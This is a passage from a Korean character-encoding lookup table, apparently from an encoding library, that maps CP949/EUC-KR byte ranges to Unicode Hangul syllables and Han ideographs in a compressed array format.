\uD2B2",5,"\uD2BA\uD2BB\uD2BD\uD2BE\uD2C1\uD2C3",4,"\uD2CA\uD2CC",5],["ba81","\uD2D2\uD2D3\uD2D5\uD2D6\uD2D7\uD2D9\uD2DA\uD2DB\uD2DD",6,"\uD2E6",9,"\uD2F2\uD2F3\uD2F5\uD2F6\uD2F7\uD2F9\uD2FA\uBC99\uBC9A\uBCA0\uBCA1\uBCA4\uBCA7\uBCA8\uBCB0\uBCB1\uBCB3\uBCB4\uBCB5\uBCBC\uBCBD\uBCC0\uBCC4\uBCCD\uBCCF\uBCD0\uBCD1\uBCD5\uBCD8\uBCDC\uBCF4\uBCF5\uBCF6\uBCF8\uBCFC\uBD04\uBD05\uBD07\uBD09\uBD10\uBD14\uBD24\uBD2C\uBD40\uBD48\uBD49\uBD4C\uBD50\uBD58\uBD59\uBD64\uBD68\uBD80\uBD81\uBD84\uBD87\uBD88\uBD89\uBD8A\uBD90\uBD91\uBD93\uBD95\uBD99\uBD9A\uBD9C\uBDA4\uBDB0\uBDB8\uBDD4\uBDD5\uBDD8\uBDDC\uBDE9\uBDF0\uBDF4\uBDF8\uBE00\uBE03\uBE05\uBE0C\uBE0D\uBE10\uBE14\uBE1C\uBE1D\uBE1F\uBE44\uBE45\uBE48\uBE4C\uBE4E\uBE54\uBE55\uBE57\uBE59\uBE5A\uBE5B\uBE60\uBE61\uBE64"],["bb41","\uD2FB",4,"\uD302\uD304\uD306",5,"\uD30F\uD311\uD312\uD313\uD315\uD317",4,"\uD31E\uD322\uD323"],["bb61","\uD324\uD326\uD327\uD32A\uD32B\uD32D\uD32E\uD32F\uD331",6,"\uD33A\uD33E",5,"\uD346\uD347\uD348\uD349"],["bb81","\uD34A",31,"\uBE68\uBE6A\uBE70\uBE71\uBE73\uBE74\uBE75\uBE7B\uBE7C\uBE7D\uBE80\uBE84\uBE8C\uBE8D\uBE8F\uBE90\uBE91\uBE98\uBE99\uBEA8\uBED0\uBED1\uBED4\uBED7\uBED8\uBEE0\uBEE3\uBEE4\uBEE5\uBEEC\uBF01\uBF08\uBF09\uBF18\uBF19\uBF1B\uBF1C\uBF1D\uBF40\uBF41\uBF44\uBF48\uBF50\uBF51\uBF55\uBF94\uBFB0\uBFC5\uBFCC\uBFCD\uBFD0\uBFD4\uBFDC\uBFDF\uBFE1\uC03C\uC051\uC058\uC05C\uC060\uC068\uC069\uC090\uC091\uC094\uC098\uC0A0\uC0A1\uC0A3\uC0A5\uC0AC\uC0AD\uC0AF\uC0B0\uC0B3\uC0B4\uC0B5\uC0B6\uC0BC\uC0BD\uC0BF\uC0C0\uC0C1\uC0C5\uC0C8\uC0C9\uC0CC\uC0D0\uC0D8\uC0D9\uC0DB\uC0DC\uC0DD\uC0E4"],["bc41","\uD36A",17,"\uD37E\uD37F\uD381\uD382\uD383\uD385\uD386\uD387"],["bc61","\uD388\uD389\uD38A\uD38B\uD38E\uD392",5,"\uD39A\uD39B\uD39D\uD39E\uD39F\uD3A1",6,"\uD3AA\uD3AC\uD3AE"],["bc81","\uD3AF",4,"\uD3B5\uD3B6\uD3B7\uD3B9\uD3BA\uD3BB\uD3BD",6,"\uD3C6\uD3C7\uD3CA",5,"\uD3D1",5,"\uC0E5\uC0E8\uC0EC\uC0F4\uC0F5\uC0F7\uC0F9\uC100\uC104\uC108\uC110\uC115\uC11C",4,"\uC123\uC124\uC126\uC127\uC12C\uC12D\uC12F\uC130\uC131\uC136\uC138\uC139\uC13C\uC140\uC148\uC149\uC14B\uC14C\uC14D\uC154\uC155\uC158\uC15C\uC164\uC165\uC167\uC168\uC169\uC170\uC174\uC178\uC185\uC18C\uC18D\uC18E\uC190\uC194\uC196\uC19C\uC19D\uC19F\uC1A1\uC1A5\uC1A8\uC1A9\uC1AC\uC1B0\uC1BD\uC1C4\uC1C8\uC1CC\uC1D4\uC1D7\uC1D8\uC1E0\uC1E4\uC1E8\uC1F0\uC1F1\uC1F3\uC1FC\uC1FD\uC200\uC204\uC20C\uC20D\uC20F\uC211\uC218\uC219\uC21C\uC21F\uC220\uC228\uC229\uC22B\uC22D"],["bd41","\uD3D7\uD3D9",7,"\uD3E2\uD3E4",7,"\uD3EE\uD3EF\uD3F1\uD3F2\uD3F3\uD3F5\uD3F6\uD3F7"],["bd61","\uD3F8\uD3F9\uD3FA\uD3FB\uD3FE\uD400\uD402",5,"\uD409",13],["bd81","\uD417",5,"\uD41E",25,"\uC22F\uC231\uC232\uC234\uC248\uC250\uC251\uC254\uC258\uC260\uC265\uC26C\uC26D\uC270\uC274\uC27C\uC27D\uC27F\uC281\uC288\uC289\uC290\uC298\uC29B\uC29D\uC2A4\uC2A5\uC2A8\uC2AC\uC2AD\uC2B4\uC2B5\uC2B7\uC2B9\uC2DC\uC2DD\uC2E0\uC2E3\uC2E4\uC2EB\uC2EC\uC2ED\uC2EF\uC2F1\uC2F6\uC2F8\uC2F9\uC2FB\uC2FC\uC300\uC308\uC309\uC30C\uC30D\uC313\uC314\uC315\uC318\uC31C\uC324\uC325\uC328\uC329\uC345\uC368\uC369\uC36C\uC370\uC372\uC378\uC379\uC37C\uC37D\uC384\uC388\uC38C\uC3C0\uC3D8\uC3D9\uC3DC\uC3DF\uC3E0\uC3E2\uC3E8\uC3E9\uC3ED\uC3F4\uC3F5\uC3F8\uC408\uC410\uC424\uC42C\uC430"],["be41","\uD438",7,"\uD441\uD442\uD443\uD445",14],["be61","\uD454",7,"\uD45D\uD45E\uD45F\uD461\uD462\uD463\uD465",7,"\uD46E\uD470\uD471\uD472"],["be81","\uD473",4,"\uD47A\uD47B\uD47D\uD47E\uD481\uD483",4,"\uD48A\uD48C\uD48E",5,"\uD495",8,"\uC434\uC43C\uC43D\uC448\uC464\uC465\uC468\uC46C\uC474\uC475\uC479\uC480\uC494\uC49C\uC4B8\uC4BC\uC4E9\uC4F0\uC4F1\uC4F4\uC4F8\uC4FA\uC4FF\uC500\uC501\uC50C\uC510\uC514\uC51C\uC528\uC529\uC52C\uC530\uC538\uC539\uC53B\uC53D\uC544\uC545\uC548\uC549\uC54A\uC54C\uC54D\uC54E\uC553\uC554\uC555\uC557\uC558\uC559\uC55D\uC55E\uC560\uC561\uC564\uC568\uC570\uC571\uC573\uC574\uC575\uC57C\uC57D\uC580\uC584\uC587\uC58C\uC58D\uC58F\uC591\uC595\uC597\uC598\uC59C\uC5A0\uC5A9\uC5B4\uC5B5\uC5B8\uC5B9\uC5BB\uC5BC\uC5BD\uC5BE\uC5C4",6,"\uC5CC\uC5CE"],["bf41","\uD49E",10,"\uD4AA",14],["bf61","\uD4B9",18,"\uD4CD\uD4CE\uD4CF\uD4D1\uD4D2\uD4D3\uD4D5"],["bf81","\uD4D6",5,"\uD4DD\uD4DE\uD4E0",7,"\uD4E9\uD4EA\uD4EB\uD4ED\uD4EE\uD4EF\uD4F1",6,"\uD4F9\uD4FA\uD4FC\uC5D0\uC5D1\uC5D4\uC5D8\uC5E0\uC5E1\uC5E3\uC5E5\uC5EC\uC5ED\uC5EE\uC5F0\uC5F4\uC5F6\uC5F7\uC5FC",5,"\uC605\uC606\uC607\uC608\uC60C\uC610\uC618\uC619\uC61B\uC61C\uC624\uC625\uC628\uC62C\uC62D\uC62E\uC630\uC633\uC634\uC635\uC637\uC639\uC63B\uC640\uC641\uC644\uC648\uC650\uC651\uC653\uC654\uC655\uC65C\uC65D\uC660\uC66C\uC66F\uC671\uC678\uC679\uC67C\uC680\uC688\uC689\uC68B\uC68D\uC694\uC695\uC698\uC69C\uC6A4\uC6A5\uC6A7\uC6A9\uC6B0\uC6B1\uC6B4\uC6B8\uC6B9\uC6BA\uC6C0\uC6C1\uC6C3\uC6C5\uC6CC\uC6CD\uC6D0\uC6D4\uC6DC\uC6DD\uC6E0\uC6E1\uC6E8"],["c041","\uD4FE",5,"\uD505\uD506\uD507\uD509\uD50A\uD50B\uD50D",6,"\uD516\uD518",5],["c061","\uD51E",25],["c081","\uD538\uD539\uD53A\uD53B\uD53E\uD53F\uD541\uD542\uD543\uD545",6,"\uD54E\uD550\uD552",5,"\uD55A\uD55B\uD55D\uD55E\uD55F\uD561\uD562\uD563\uC6E9\uC6EC\uC6F0\uC6F8\uC6F9\uC6FD\uC704\uC705\uC708\uC70C\uC714\uC715\uC717\uC719\uC720\uC721\uC724\uC728\uC730\uC731\uC733\uC735\uC737\uC73C\uC73D\uC740\uC744\uC74A\uC74C\uC74D\uC74F\uC751",7,"\uC75C\uC760\uC768\uC76B\uC774\uC775\uC778\uC77C\uC77D\uC77E\uC783\uC784\uC785\uC787\uC788\uC789\uC78A\uC78E\uC790\uC791\uC794\uC796\uC797\uC798\uC79A\uC7A0\uC7A1\uC7A3\uC7A4\uC7A5\uC7A6\uC7AC\uC7AD\uC7B0\uC7B4\uC7BC\uC7BD\uC7BF\uC7C0\uC7C1\uC7C8\uC7C9\uC7CC\uC7CE\uC7D0\uC7D8\uC7DD\uC7E4\uC7E8\uC7EC\uC800\uC801\uC804\uC808\uC80A"],["c141","\uD564\uD566\uD567\uD56A\uD56C\uD56E",5,"\uD576\uD577\uD579\uD57A\uD57B\uD57D",6,"\uD586\uD58A\uD58B"],["c161","\uD58C\uD58D\uD58E\uD58F\uD591",19,"\uD5A6\uD5A7"],["c181","\uD5A8",31,"\uC810\uC811\uC813\uC815\uC816\uC81C\uC81D\uC820\uC824\uC82C\uC82D\uC82F\uC831\uC838\uC83C\uC840\uC848\uC849\uC84C\uC84D\uC854\uC870\uC871\uC874\uC878\uC87A\uC880\uC881\uC883\uC885\uC886\uC887\uC88B\uC88C\uC88D\uC894\uC89D\uC89F\uC8A1\uC8A8\uC8BC\uC8BD\uC8C4\uC8C8\uC8CC\uC8D4\uC8D5\uC8D7\uC8D9\uC8E0\uC8E1\uC8E4\uC8F5\uC8FC\uC8FD\uC900\uC904\uC905\uC906\uC90C\uC90D\uC90F\uC911\uC918\uC92C\uC934\uC950\uC951\uC954\uC958\uC960\uC961\uC963\uC96C\uC970\uC974\uC97C\uC988\uC989\uC98C\uC990\uC998\uC999\uC99B\uC99D\uC9C0\uC9C1\uC9C4\uC9C7\uC9C8\uC9CA\uC9D0\uC9D1\uC9D3"],["c241","\uD5CA\uD5CB\uD5CD\uD5CE\uD5CF\uD5D1\uD5D3",4,"\uD5DA\uD5DC\uD5DE",5,"\uD5E6\uD5E7\uD5E9\uD5EA\uD5EB\uD5ED\uD5EE"],["c261","\uD5EF",4,"\uD5F6\uD5F8\uD5FA",5,"\uD602\uD603\uD605\uD606\uD607\uD609",6,"\uD612"],["c281","\uD616",5,"\uD61D\uD61E\uD61F\uD621\uD622\uD623\uD625",7,"\uD62E",9,"\uD63A\uD63B\uC9D5\uC9D6\uC9D9\uC9DA\uC9DC\uC9DD\uC9E0\uC9E2\uC9E4\uC9E7\uC9EC\uC9ED\uC9EF\uC9F0\uC9F1\uC9F8\uC9F9\uC9FC\uCA00\uCA08\uCA09\uCA0B\uCA0C\uCA0D\uCA14\uCA18\uCA29\uCA4C\uCA4D\uCA50\uCA54\uCA5C\uCA5D\uCA5F\uCA60\uCA61\uCA68\uCA7D\uCA84\uCA98\uCABC\uCABD\uCAC0\uCAC4\uCACC\uCACD\uCACF\uCAD1\uCAD3\uCAD8\uCAD9\uCAE0\uCAEC\uCAF4\uCB08\uCB10\uCB14\uCB18\uCB20\uCB21\uCB41\uCB48\uCB49\uCB4C\uCB50\uCB58\uCB59\uCB5D\uCB64\uCB78\uCB79\uCB9C\uCBB8\uCBD4\uCBE4\uCBE7\uCBE9\uCC0C\uCC0D\uCC10\uCC14\uCC1C\uCC1D\uCC21\uCC22\uCC27\uCC28\uCC29\uCC2C\uCC2E\uCC30\uCC38\uCC39\uCC3B"],["c341","\uD63D\uD63E\uD63F\uD641\uD642\uD643\uD644\uD646\uD647\uD64A\uD64C\uD64E\uD64F\uD650\uD652\uD653\uD656\uD657\uD659\uD65A\uD65B\uD65D",4],["c361","\uD662",4,"\uD668\uD66A",5,"\uD672\uD673\uD675",11],["c381","\uD681\uD682\uD684\uD686",5,"\uD68E\uD68F\uD691\uD692\uD693\uD695",7,"\uD69E\uD6A0\uD6A2",5,"\uD6A9\uD6AA\uCC3C\uCC3D\uCC3E\uCC44\uCC45\uCC48\uCC4C\uCC54\uCC55\uCC57\uCC58\uCC59\uCC60\uCC64\uCC66\uCC68\uCC70\uCC75\uCC98\uCC99\uCC9C\uCCA0\uCCA8\uCCA9\uCCAB\uCCAC\uCCAD\uCCB4\uCCB5\uCCB8\uCCBC\uCCC4\uCCC5\uCCC7\uCCC9\uCCD0\uCCD4\uCCE4\uCCEC\uCCF0\uCD01\uCD08\uCD09\uCD0C\uCD10\uCD18\uCD19\uCD1B\uCD1D\uCD24\uCD28\uCD2C\uCD39\uCD5C\uCD60\uCD64\uCD6C\uCD6D\uCD6F\uCD71\uCD78\uCD88\uCD94\uCD95\uCD98\uCD9C\uCDA4\uCDA5\uCDA7\uCDA9\uCDB0\uCDC4\uCDCC\uCDD0\uCDE8\uCDEC\uCDF0\uCDF8\uCDF9\uCDFB\uCDFD\uCE04\uCE08\uCE0C\uCE14\uCE19\uCE20\uCE21\uCE24\uCE28\uCE30\uCE31\uCE33\uCE35"],["c441","\uD6AB\uD6AD\uD6AE\uD6AF\uD6B1",7,"\uD6BA\uD6BC",7,"\uD6C6\uD6C7\uD6C9\uD6CA\uD6CB"],["c461","\uD6CD\uD6CE\uD6CF\uD6D0\uD6D2\uD6D3\uD6D5\uD6D6\uD6D8\uD6DA",5,"\uD6E1\uD6E2\uD6E3\uD6E5\uD6E6\uD6E7\uD6E9",4],["c481","\uD6EE\uD6EF\uD6F1\uD6F2\uD6F3\uD6F4\uD6F6",5,"\uD6FE\uD6FF\uD701\uD702\uD703\uD705",11,"\uD712\uD713\uD714\uCE58\uCE59\uCE5C\uCE5F\uCE60\uCE61\uCE68\uCE69\uCE6B\uCE6D\uCE74\uCE75\uCE78\uCE7C\uCE84\uCE85\uCE87\uCE89\uCE90\uCE91\uCE94\uCE98\uCEA0\uCEA1\uCEA3\uCEA4\uCEA5\uCEAC\uCEAD\uCEC1\uCEE4\uCEE5\uCEE8\uCEEB\uCEEC\uCEF4\uCEF5\uCEF7\uCEF8\uCEF9\uCF00\uCF01\uCF04\uCF08\uCF10\uCF11\uCF13\uCF15\uCF1C\uCF20\uCF24\uCF2C\uCF2D\uCF2F\uCF30\uCF31\uCF38\uCF54\uCF55\uCF58\uCF5C\uCF64\uCF65\uCF67\uCF69\uCF70\uCF71\uCF74\uCF78\uCF80\uCF85\uCF8C\uCFA1\uCFA8\uCFB0\uCFC4\uCFE0\uCFE1\uCFE4\uCFE8\uCFF0\uCFF1\uCFF3\uCFF5\uCFFC\uD000\uD004\uD011\uD018\uD02D\uD034\uD035\uD038\uD03C"],["c541","\uD715\uD716\uD717\uD71A\uD71B\uD71D\uD71E\uD71F\uD721",6,"\uD72A\uD72C\uD72E",5,"\uD736\uD737\uD739"],["c561","\uD73A\uD73B\uD73D",6,"\uD745\uD746\uD748\uD74A",5,"\uD752\uD753\uD755\uD75A",4],["c581","\uD75F\uD762\uD764\uD766\uD767\uD768\uD76A\uD76B\uD76D\uD76E\uD76F\uD771\uD772\uD773\uD775",6,"\uD77E\uD77F\uD780\uD782",5,"\uD78A\uD78B\uD044\uD045\uD047\uD049\uD050\uD054\uD058\uD060\uD06C\uD06D\uD070\uD074\uD07C\uD07D\uD081\uD0A4\uD0A5\uD0A8\uD0AC\uD0B4\uD0B5\uD0B7\uD0B9\uD0C0\uD0C1\uD0C4\uD0C8\uD0C9\uD0D0\uD0D1\uD0D3\uD0D4\uD0D5\uD0DC\uD0DD\uD0E0\uD0E4\uD0EC\uD0ED\uD0EF\uD0F0\uD0F1\uD0F8\uD10D\uD130\uD131\uD134\uD138\uD13A\uD140\uD141\uD143\uD144\uD145\uD14C\uD14D\uD150\uD154\uD15C\uD15D\uD15F\uD161\uD168\uD16C\uD17C\uD184\uD188\uD1A0\uD1A1\uD1A4\uD1A8\uD1B0\uD1B1\uD1B3\uD1B5\uD1BA\uD1BC\uD1C0\uD1D8\uD1F4\uD1F8\uD207\uD209\uD210\uD22C\uD22D\uD230\uD234\uD23C\uD23D\uD23F\uD241\uD248\uD25C"],["c641","\uD78D\uD78E\uD78F\uD791",6,"\uD79A\uD79C\uD79E",5],["c6a1","\uD264\uD280\uD281\uD284\uD288\uD290\uD291\uD295\uD29C\uD2A0\uD2A4\uD2AC\uD2B1\uD2B8\uD2B9\uD2BC\uD2BF\uD2C0\uD2C2\uD2C8\uD2C9\uD2CB\uD2D4\uD2D8\uD2DC\uD2E4\uD2E5\uD2F0\uD2F1\uD2F4\uD2F8\uD300\uD301\uD303\uD305\uD30C\uD30D\uD30E\uD310\uD314\uD316\uD31C\uD31D\uD31F\uD320\uD321\uD325\uD328\uD329\uD32C\uD330\uD338\uD339\uD33B\uD33C\uD33D\uD344\uD345\uD37C\uD37D\uD380\uD384\uD38C\uD38D\uD38F\uD390\uD391\uD398\uD399\uD39C\uD3A0\uD3A8\uD3A9\uD3AB\uD3AD\uD3B4\uD3B8\uD3BC\uD3C4\uD3C5\uD3C8\uD3C9\uD3D0\uD3D8\uD3E1\uD3E3\uD3EC\uD3ED\uD3F0\uD3F4\uD3FC\uD3FD\uD3FF\uD401"],["c7a1","\uD408\uD41D\uD440\uD444\uD45C\uD460\uD464\uD46D\uD46F\uD478\uD479\uD47C\uD47F\uD480\uD482\uD488\uD489\uD48B\uD48D\uD494\uD4A9\uD4CC\uD4D0\uD4D4\uD4DC\uD4DF\uD4E8\uD4EC\uD4F0\uD4F8\uD4FB\uD4FD\uD504\uD508\uD50C\uD514\uD515\uD517\uD53C\uD53D\uD540\uD544\uD54C\uD54D\uD54F\uD551\uD558\uD559\uD55C\uD560\uD565\uD568\uD569\uD56B\uD56D\uD574\uD575\uD578\uD57C\uD584\uD585\uD587\uD588\uD589\uD590\uD5A5\uD5C8\uD5C9\uD5CC\uD5D0\uD5D2\uD5D8\uD5D9\uD5DB\uD5DD\uD5E4\uD5E5\uD5E8\uD5EC\uD5F4\uD5F5\uD5F7\uD5F9\uD600\uD601\uD604\uD608\uD610\uD611\uD613\uD614\uD615\uD61C\uD620"],["c8a1","\uD624\uD62D\uD638\uD639\uD63C\uD640\uD645\uD648\uD649\uD64B\uD64D\uD651\uD654\uD655\uD658\uD65C\uD667\uD669\uD670\uD671\uD674\uD683\uD685\uD68C\uD68D\uD690\uD694\uD69D\uD69F\uD6A1\uD6A8\uD6AC\uD6B0\uD6B9\uD6BB\uD6C4\uD6C5\uD6C8\uD6CC\uD6D1\uD6D4\uD6D7\uD6D9\uD6E0\uD6E4\uD6E8\uD6F0\uD6F5\uD6FC\uD6FD\uD700\uD704\uD711\uD718\uD719\uD71C\uD720\uD728\uD729\uD72B\uD72D\uD734\uD735\uD738\uD73C\uD744\uD747\uD749\uD750\uD751\uD754\uD756\uD757\uD758\uD759\uD760\uD761\uD763\uD765\uD769\uD76C\uD770\uD774\uD77C\uD77D\uD781\uD788\uD789\uD78C\uD790\uD798\uD799\uD79B\uD79D"],["caa1","\u4F3D\u4F73\u5047\u50F9\u52A0\u53EF\u5475\u54E5\u5609\u5AC1\u5BB6\u6687\u67B6\u67B7\u67EF\u6B4C\u73C2\u75C2\u7A3C\u82DB\u8304\u8857\u8888\u8A36\u8CC8\u8DCF\u8EFB\u8FE6\u99D5\u523B\u5374\u5404\u606A\u6164\u6BBC\u73CF\u811A\u89BA\u89D2\u95A3\u4F83\u520A\u58BE\u5978\u59E6\u5E72\u5E79\u61C7\u63C0\u6746\u67EC\u687F\u6F97\u764E\u770B\u78F5\u7A08\u7AFF\u7C21\u809D\u826E\u8271\u8AEB\u9593\u4E6B\u559D\u66F7\u6E34\u78A3\u7AED\u845B\u8910\u874E\u97A8\u52D8\u574E\u582A\u5D4C\u611F\u61BE\u6221\u6562\u67D1\u6A44\u6E1B\u7518\u75B3\u76E3\u77B0\u7D3A\u90AF\u9451\u9452\u9F95"],["cba1","\u5323\u5CAC\u7532\u80DB\u9240\u9598\u525B\u5808\u59DC\u5CA1\u5D17\u5EB7\u5F3A\u5F4A\u6177\u6C5F\u757A\u7586\u7CE0\u7D73\u7DB1\u7F8C\u8154\u8221\u8591\u8941\u8B1B\u92FC\u964D\u9C47\u4ECB\u4EF7\u500B\u51F1\u584F\u6137\u613E\u6168\u6539\u69EA\u6F11\u75A5\u7686\u76D6\u7B87\u82A5\u84CB\uF900\u93A7\u958B\u5580\u5BA2\u5751\uF901\u7CB3\u7FB9\u91B5\u5028\u53BB\u5C45\u5DE8\u62D2\u636E\u64DA\u64E7\u6E20\u70AC\u795B\u8DDD\u8E1E\uF902\u907D\u9245\u92F8\u4E7E\u4EF6\u5065\u5DFE\u5EFA\u6106\u6957\u8171\u8654\u8E47\u9375\u9A2B\u4E5E\u5091\u6770\u6840\u5109\u528D\u5292\u6AA2"],["cca1","\u77BC\u9210\u9ED4\u52AB\u602F\u8FF2\u5048\u61A9\u63ED\u64CA\u683C\u6A84\u6FC0\u8188\u89A1\u9694\u5805\u727D\u72AC\u7504\u7D79\u7E6D\u80A9\u898B\u8B74\u9063\u9D51\u6289\u6C7A\u6F54\u7D50\u7F3A\u8A23\u517C\u614A\u7B9D\u8B19\u9257\u938C\u4EAC\u4FD3\u501E\u50BE\u5106\u52C1\u52CD\u537F\u5770\u5883\u5E9A\u5F91\u6176\u61AC\u64CE\u656C\u666F\u66BB\u66F4\u6897\u6D87\u7085\u70F1\u749F\u74A5\u74CA\u75D9\u786C\u78EC\u7ADF\u7AF6\u7D45\u7D93\u8015\u803F\u811B\u8396\u8B66\u8F15\u9015\u93E1\u9803\u9838\u9A5A\u9BE8\u4FC2\u5553\u583A\u5951\u5B63\u5C46\u60B8\u6212\u6842\u68B0"],["cda1","\u68E8\u6EAA\u754C\u7678\u78CE\u7A3D\u7CFB\u7E6B\u7E7C\u8A08\u8AA1\u8C3F\u968E\u9DC4\u53E4\u53E9\u544A\u5471\u56FA\u59D1\u5B64\u5C3B\u5EAB\u62F7\u6537\u6545\u6572\u66A0\u67AF\u69C1\u6CBD\u75FC\u7690\u777E\u7A3F\u7F94\u8003\u80A1\u818F\u82E6\u82FD\u83F0\u85C1\u8831\u88B4\u8AA5\uF903\u8F9C\u932E\u96C7\u9867\u9AD8\u9F13\u54ED\u659B\u66F2\u688F\u7A40\u8C37\u9D60\u56F0\u5764\u5D11\u6606\u68B1\u68CD\u6EFE\u7428\u889E\u9BE4\u6C68\uF904\u9AA8\u4F9B\u516C\u5171\u529F\u5B54\u5DE5\u6050\u606D\u62F1\u63A7\u653B\u73D9\u7A7A\u86A3\u8CA2\u978F\u4E32\u5BE1\u6208\u679C\u74DC"],["cea1","\u79D1\u83D3\u8A87\u8AB2\u8DE8\u904E\u934B\u9846\u5ED3\u69E8\u85FF\u90ED\uF905\u51A0\u5B98\u5BEC\u6163\u68FA\u6B3E\u704C\u742F\u74D8\u7BA1\u7F50\u83C5\u89C0\u8CAB\u95DC\u9928\u522E\u605D\u62EC\u9002\u4F8A\u5149\u5321\u58D9\u5EE3\u66E0\u6D38\u709A\u72C2\u73D6\u7B50\u80F1\u945B\u5366\u639B\u7F6B\u4E56\u5080\u584A\u58DE\u602A\u6127\u62D0\u69D0\u9B41\u5B8F\u7D18\u80B1\u8F5F\u4EA4\u50D1\u54AC\u55AC\u5B0C\u5DA0\u5DE7\u652A\u654E\u6821\u6A4B\u72E1\u768E\u77EF\u7D5E\u7FF9\u81A0\u854E\u86DF\u8F03\u8F4E\u90CA\u9903\u9A55\u9BAB\u4E18\u4E45\u4E5D\u4EC7\u4FF1\u5177\u52FE"],["cfa1","\u5340\u53E3\u53E5\u548E\u5614\u5775\u57A2\u5BC7\u5D87\u5ED0\u61FC\u62D8\u6551\u67B8\u67E9\u69CB\u6B50\u6BC6\u6BEC\u6C42\u6E9D\u7078\u72D7\u7396\u7403\u77BF\u77E9\u7A76\u7D7F\u8009\u81FC\u8205\u820A\u82DF\u8862\u8B33\u8CFC\u8EC0\u9011\u90B1\u9264\u92B6\u99D2\u9A45\u9CE9\u9DD7\u9F9C\u570B\u5C40\u83CA\u97A0\u97AB\u9EB4\u541B\u7A98\u7FA4\u88D9\u8ECD\u90E1\u5800\u5C48\u6398\u7A9F\u5BAE\u5F13\u7A79\u7AAE\u828E\u8EAC\u5026\u5238\u52F8\u5377\u5708\u62F3\u6372\u6B0A\u6DC3\u7737\u53A5\u7357\u8568\u8E76\u95D5\u673A\u6AC3\u6F70\u8A6D\u8ECC\u994B\uF906\u6677\u6B78\u8CB4"],["d0a1","\u9B3C\uF907\u53EB\u572D\u594E\u63C6\u69FB\u73EA\u7845\u7ABA\u7AC5\u7CFE\u8475\u898F\u8D73\u9035\u95A8\u52FB\u5747\u7547\u7B60\u83CC\u921E\uF908\u6A58\u514B\u524B\u5287\u621F\u68D8\u6975\u9699\u50C5\u52A4\u52E4\u61C3\u65A4\u6839\u69FF\u747E\u7B4B\u82B9\u83EB\u89B2\u8B39\u8FD1\u9949\uF909\u4ECA\u5997\u64D2\u6611\u6A8E\u7434\u7981\u79BD\u82A9\u887E\u887F\u895F\uF90A\u9326\u4F0B\u53CA\u6025\u6271\u6C72\u7D1A\u7D66\u4E98\u5162\u77DC\u80AF\u4F01\u4F0E\u5176\u5180\u55DC\u5668\u573B\u57FA\u57FC\u5914\u5947\u5993\u5BC4\u5C90\u5D0E\u5DF1\u5E7E\u5FCC\u6280\u65D7\u65E3"],["d1a1","\u671E\u671F\u675E\u68CB\u68C4\u6A5F\u6B3A\u6C23\u6C7D\u6C82\u6DC7\u7398\u7426\u742A\u7482\u74A3\u7578\u757F\u7881\u78EF\u7941\u7947\u7948\u797A\u7B95\u7D00\u7DBA\u7F88\u8006\u802D\u808C\u8A18\u8B4F\u8C48\u8D77\u9321\u9324\u98E2\u9951\u9A0E\u9A0F\u9A65\u9E92\u7DCA\u4F76\u5409\u62EE\u6854\u91D1\u55AB\u513A\uF90B\uF90C\u5A1C\u61E6\uF90D\u62CF\u62FF\uF90E",5,"\u90A3\uF914",4,"\u8AFE\uF919\uF91A\uF91B\uF91C\u6696\uF91D\u7156\uF91E\uF91F\u96E3\uF920\u634F\u637A\u5357\uF921\u678F\u6960\u6E73\uF922\u7537\uF923\uF924\uF925"],["d2a1","\u7D0D\uF926\uF927\u8872\u56CA\u5A18\uF928",4,"\u4E43\uF92D\u5167\u5948\u67F0\u8010\uF92E\u5973\u5E74\u649A\u79CA\u5FF5\u606C\u62C8\u637B\u5BE7\u5BD7\u52AA\uF92F\u5974\u5F29\u6012\uF930\uF931\uF932\u7459\uF933",5,"\u99D1\uF939",10,"\u6FC3\uF944\uF945\u81BF\u8FB2\u60F1\uF946\uF947\u8166\uF948\uF949\u5C3F\uF94A",7,"\u5AE9\u8A25\u677B\u7D10\uF952",5,"\u80FD\uF958\uF959\u5C3C\u6CE5\u533F\u6EBA\u591A\u8336"],["d3a1","\u4E39\u4EB6\u4F46\u55AE\u5718\u58C7\u5F56\u65B7\u65E6\u6A80\u6BB5\u6E4D\u77ED\u7AEF\u7C1E\u7DDE\u86CB\u8892\u9132\u935B\u64BB\u6FBE\u737A\u75B8\u9054\u5556\u574D\u61BA\u64D4\u66C7\u6DE1\u6E5B\u6F6D\u6FB9\u75F0\u8043\u81BD\u8541\u8983\u8AC7\u8B5A\u931F\u6C93\u7553\u7B54\u8E0F\u905D\u5510\u5802\u5858\u5E62\u6207\u649E\u68E0\u7576\u7CD6\u87B3\u9EE8\u4EE3\u5788\u576E\u5927\u5C0D\u5CB1\u5E36\u5F85\u6234\u64E1\u73B3\u81FA\u888B\u8CB8\u968A\u9EDB\u5B85\u5FB7\u60B3\u5012\u5200\u5230\u5716\u5835\u5857\u5C0E\u5C60\u5CF6\u5D8B\u5EA6\u5F92\u60BC\u6311\u6389\u6417\u6843"],["d4a1","\u68F9\u6AC2\u6DD8\u6E21\u6ED4\u6FE4\u71FE\u76DC\u7779\u79B1\u7A3B\u8404\u89A9\u8CED\u8DF3\u8E48\u9003\u9014\u9053\u90FD\u934D\u9676\u97DC\u6BD2\u7006\u7258\u72A2\u7368\u7763\u79BF\u7BE4\u7E9B\u8B80\u58A9\u60C7\u6566\u65FD\u66BE\u6C8C\u711E\u71C9\u8C5A\u9813\u4E6D\u7A81\u4EDD\u51AC\u51CD\u52D5\u540C\u61A7\u6771\u6850\u68DF\u6D1E\u6F7C\u75BC\u77B3\u7AE5\u80F4\u8463\u9285\u515C\u6597\u675C\u6793\u75D8\u7AC7\u8373\uF95A\u8C46\u9017\u982D\u5C6F\u81C0\u829A\u9041\u906F\u920D\u5F97\u5D9D\u6A59\u71C8\u767B\u7B49\u85E4\u8B04\u9127\u9A30\u5587\u61F6\uF95B\u7669\u7F85"],["d5a1","\u863F\u87BA\u88F8\u908F\uF95C\u6D1B\u70D9\u73DE\u7D61\u843D\uF95D\u916A\u99F1\uF95E\u4E82\u5375\u6B04\u6B12\u703E\u721B\u862D\u9E1E\u524C\u8FA3\u5D50\u64E5\u652C\u6B16\u6FEB\u7C43\u7E9C\u85CD\u8964\u89BD\u62C9\u81D8\u881F\u5ECA\u6717\u6D6A\u72FC\u7405\u746F\u8782\u90DE\u4F86\u5D0D\u5FA0\u840A\u51B7\u63A0\u7565\u4EAE\u5006\u5169\u51C9\u6881\u6A11\u7CAE\u7CB1\u7CE7\u826F\u8AD2\u8F1B\u91CF\u4FB6\u5137\u52F5\u5442\u5EEC\u616E\u623E\u65C5\u6ADA\u6FFE\u792A\u85DC\u8823\u95AD\u9A62\u9A6A\u9E97\u9ECE\u529B\u66C6\u6B77\u701D\u792B\u8F62\u9742\u6190\u6200\u6523\u6F23